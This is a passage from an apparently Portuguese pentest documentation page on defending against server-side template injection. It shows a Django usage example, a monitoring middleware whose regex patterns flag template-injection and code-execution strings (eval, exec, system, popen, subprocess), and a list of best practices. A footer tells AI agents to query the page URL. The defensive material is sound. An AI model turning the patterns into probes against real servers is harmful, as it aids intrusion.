class SSTIValidationError(Exception):
    pass

class SSTIRenderError(Exception):
    pass

# Uso em views Django
@ssti_protected('name', 'template', 'message')
def user_greeting(request):
    name = request.POST.get('name', 'Guest')
    template_string = f"Hello {name}!"
    
    protection = SSTIProtectionSystem()
    try:
        safe_output = protection.safe_render(template_string)
        return HttpResponse(safe_output)
    except SSTIRenderError as e:
        return HttpResponseBadRequest("Template rendering error")
```

### **Configuração de Monitoramento SSTI**

```python
# monitoring/ssti_monitor.py
import logging
import re
from datetime import datetime

class SSTIMonitor:
    """
    Sistema de monitoramento para detecção de SSTI
    """
    
    def __init__(self):
        self.ssti_patterns = self.get_ssti_patterns()
        self.alert_threshold = 5  # Alertar após 5 tentativas
        self.suspicious_ips = {}
        
    def get_ssti_patterns(self):
        """Obter padrões de SSTI para monitoramento"""
        return [
            re.compile(pattern, re.IGNORECASE) for pattern in [
                r'\{\{.*[^\w\s].*\}\}',
                r'\$\{.*[^\w\s].*\}',
                r'__class__|__mro__|__subclasses__',
                r'eval\(|exec\(|compile\(',
                r'system\(|popen\(|subprocess\.'
            ]
        ]
    
    def monitor_request(self, request):
        """Monitorar requisição por sinais de SSTI"""
        client_ip = self.get_client_ip(request)
        
        # Verificar parâmetros GET
        for param, value in request.GET.items():
            if self.detect_ssti(value):
                self.log_ssti_attempt(client_ip, param, value, 'GET')
                self.check_alert_threshold(client_ip)
        
        # Verificar parâmetros POST
        if request.method == 'POST':
            for param, value in request.POST.items():
                if self.detect_ssti(value):
                    self.log_ssti_attempt(client_ip, param, value, 'POST')
                    self.check_alert_threshold(client_ip)
    
    def detect_ssti(self, value):
        """Detectar padrões de SSTI no valor"""
        if not isinstance(value, str):
            return False
        
        for pattern in self.ssti_patterns:
            if pattern.search(value):
                return True
        
        return False
    
    def log_ssti_attempt(self, ip, param, value, method):
        """Registrar tentativa de SSTI"""
        logger.warning(
            f"SSTI attempt detected - IP: {ip}, "
            f"Param: {param}, Method: {method}, "
            f"Value: {value[:100]}"
        )
        
        # Atualizar contador por IP
        if ip not in self.suspicious_ips:
            self.suspicious_ips[ip] = {
                'count': 0,
                'first_seen': datetime.now(),
                'last_seen': datetime.now()
            }
        
        self.suspicious_ips[ip]['count'] += 1
        self.suspicious_ips[ip]['last_seen'] = datetime.now()
    
    def check_alert_threshold(self, ip):
        """Verificar se IP atingiu threshold de alerta"""
        if ip in self.suspicious_ips:
            if self.suspicious_ips[ip]['count'] >= self.alert_threshold:
                self.trigger_alert(ip)
    
    def trigger_alert(self, ip):
        """Disparar alerta de segurança"""
        alert_data = {
            'ip': ip,
            'count': self.suspicious_ips[ip]['count'],
            'first_seen': self.suspicious_ips[ip]['first_seen'],
            'last_seen': self.suspicious_ips[ip]['last_seen'],
            'severity': 'HIGH',
            'type': 'SSTI_ATTACK'
        }
        
        logger.critical(f"SECURITY ALERT: SSTI attack from {ip}")
        
        # Implementar ações de resposta (bloqueio de IP, etc.)
        self.block_ip(ip)
    
    def block_ip(self, ip):
        """Bloquear IP malicioso"""
        # Implementar bloqueio via firewall, WAF, etc.
        logger.info(f"Blocking IP due to SSTI attacks: {ip}")

# Middleware de monitoramento
class SSTIMonitoringMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response
        self.monitor = SSTIMonitor()
    
    def __call__(self, request):
        # Monitorar requisição
        self.monitor.monitor_request(request)
        
        response = self.get_response(request)
        return response
```

***

## **⚠️ Considerações Finais**

### **Mitos Comuns sobre SSTI**

* ❌ "Auto-escaping resolve SSTI" → **FALSO** (SSTI executa antes do escaping)
* ❌ "Só afeta aplicações com templates complexos" → **FALSO** (até templates simples são vulneráveis)
* ❌ "Validação de input básica é suficiente" → **FALSO** (técnicas avançadas contornam validações)
* ❌ "SSTI é menos perigosa que outras vulnerabilidades" → **FALSO** (pode levar a RCE completo)

### **Boas Práticas Essenciais**

1. **Never Trust User Input in Templates**: Nunca incorporar entrada do usuário diretamente em templates
2. **Use Strict Template Configurations**: Configurar template engines com as opções mais restritivas
3. **Implement Input Validation**: Validação rigorosa de todos os inputs
4. **Monitor and Log**: Monitoramento contínuo e logging de tentativas

### **Referências e Padrões**

* OWASP Template Injection Prevention Cheat Sheet
* Jinja2 Security Documentation
* Django Template Security Guidelines
* SANS Institute Application Security

**🔐 Lembre-se**: SSTI é uma vulnerabilidade crítica que pode levar ao comprometimento completo do servidor. Implemente defesas em múltiplas camadas (validação, sanitização, sandboxing, monitoramento) e mantenha-se atualizado com as técnicas de exploração mais recentes.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/back-end/autenticacao/server-side-template-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
